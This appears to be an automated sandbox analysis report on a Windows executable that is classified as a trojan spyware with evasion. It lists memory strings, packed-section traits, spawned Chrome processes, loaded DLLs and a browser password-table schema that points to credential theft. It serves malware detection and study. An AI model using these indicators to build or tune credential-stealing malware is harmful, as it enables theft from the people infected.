Source: file.exe, 00000000.00000003.1926083640.0000000005B9B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1922502619.0000000005B6F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1925646571.0000000005AC3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1936450982.0000000005C0F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1922684259.0000000005C1F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1928970128.0000000005BCF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1934458554.0000000005D41000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1924524855.0000000005B85000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1924223133.0000000005B75000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1926302488.0000000005AC7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1926580183.0000000005AC5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1925125575.0000000005B86000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1923054536.0000000005B74000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1929117299.0000000005AC8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1945744516.0000000005632000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1923492778.0000000005AC8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1926897053.0000000005AC6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1925268923.0000000005C60000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1945361746.0000000005749000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1936286545.0000000005AC9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1921114235.0000000005928000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1923139365.0000000005ACA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1945667989.00000000056FE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1945693996.0000000000AF9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1934697321.0000000005AC5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1933453616.0000000005BF6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000002.2050912168.0000000006046000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1934005452.0000000005C01000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1936583663.0000000005D5F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1927561617.0000000005C95000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1927194918.0000000005AC4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1930713439.0000000005AC8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1921647240.0000000005ACC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1929886494.0000000005CDC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1928061006.0000000005BB5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1931877119.0000000005BEF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1923403889.0000000005B7F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1928723043.0000000005BD1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1922122218.0000000005B71000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1935585768.0000000005C06000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1926402630.0000000005BB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1924894525.0000000005B8E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1927929713.0000000005AC2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1924808347.0000000005AC9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1928851202.0000000005ACF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1927041876.0000000005BA6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1928328727.0000000005BB5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1917181838.0000000005749000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1921007506.0000000005B5E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1928177879.0000000005AC9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1933335119.0000000005AC8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1945530242.0000000005647000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1935150878.0000000005D3B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1922419323.0000000005AC3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1922213316.0000000005AC4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1930180090.0000000005BD9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1924715486.0000000005B89000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1922329641.0000000005B6E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1923228133.0000000005B79000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1922009345.0000000005ACE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1930570625.0000000005BE9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1921228363.0000000005AD1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1932316798.0000000005AC3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1920816361.0000000005928000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1933005011.0000000005ACA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1930456225.0000000005ACF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1922770390.0000000005AC8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1935752303.0000000005ACB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1920705113.00000000057EC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1929314799.0000000005BC8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1933176612.0000000005BF8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1923316517.0000000005ACA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1931120952.0000000005BED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1929716699.0000000005BD1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1925425561.0000000005ACB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1926770770.0000000005BA4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1936085323.0000000005D5F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1927795779.0000000005BB8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1925756133.0000000005B9E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1928608777.0000000005ACC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1927685131.0000000005AC3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1935416961.0000000005AC5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000002.2050564247.0000000005D87000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1928504829.0000000005CA8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1930341565.0000000005CF0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1945530242.0000000005670000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1929457473.0000000005CCE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1921904111.0000000005923000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1921510195.0000000005928000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1936744097.0000000005AC2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1930006970.0000000005AC9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1945461968.0000000005681000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1931367879.0000000005AD0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1917181838.00000000057EC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1935912730.0000000005C0E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1929579337.0000000005AC5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1920932152.0000000005AC7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1932819650.0000000005D11000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1924317096.0000000005C35000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1923580271.0000000005B7D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1924408260.0000000005ACE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9981086827531646
Source: file.exe	Static PE information: Section: mdltnzwz ZLIB complexity 0.9946046238391252

Source: file.exe

Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@24/65@9/7

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe, 00000000.00000003.1748989091.0000000005654000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe	ReversingLabs: Detection: 26%
Source: file.exe	Virustotal: Detection: 37%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: file.exe	String found in binary or memory: 3The file %s is missing. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2084 --field-trial-handle=2000,i,18382782211860012074,2766989796147544091,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2064 --field-trial-handle=1992,i,3125156772229550681,2410436148058244505,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2084 --field-trial-handle=2000,i,18382782211860012074,2766989796147544091,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2064 --field-trial-handle=1992,i,3125156772229550681,2410436148058244505,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.shell.servicehostbuilder.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wkscli.dll	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: file.exe

Static file information: File size 1886208 > 1048576

Source: file.exe

Static PE information: Raw size of mdltnzwz is bigger than: 0x100000 < 0x1a1400

Source:

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.ee0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;mdltnzwz:EW;bnbpmthl:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;mdltnzwz:EW;bnbpmthl:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

